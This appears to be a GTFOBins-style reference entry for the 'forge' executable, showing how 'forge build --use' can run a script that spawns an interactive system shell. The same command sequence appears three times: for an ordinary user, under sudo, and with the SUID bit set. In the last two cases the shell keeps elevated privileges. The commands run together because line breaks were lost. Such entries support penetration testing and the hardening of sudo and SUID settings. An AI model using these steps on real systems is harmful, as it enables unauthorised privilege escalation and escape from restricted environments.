forge
Shell
This executable can spawn an interactive system shell.
- This function can be performed by any unprivileged user.
echo '#!/bin/sh' >/path/to/temp-fileecho -e "/bin/sh <$(tty) >$(tty) 2>$(tty)" >>/path/to/temp-filechmod +x /path/to/temp-fileforge build --use /path/to/temp-fileThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.echo '#!/bin/sh' >/path/to/temp-fileecho -e "/bin/sh <$(tty) >$(tty) 2>$(tty)" >>/path/to/temp-filechmod +x /path/to/temp-fileforge build --use /path/to/temp-fileThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.echo '#!/bin/sh' >/path/to/temp-fileecho -e "/bin/sh <$(tty) >$(tty) 2>$(tty)" >>/path/to/temp-filechmod +x /path/to/temp-fileforge build --use /path/to/temp-file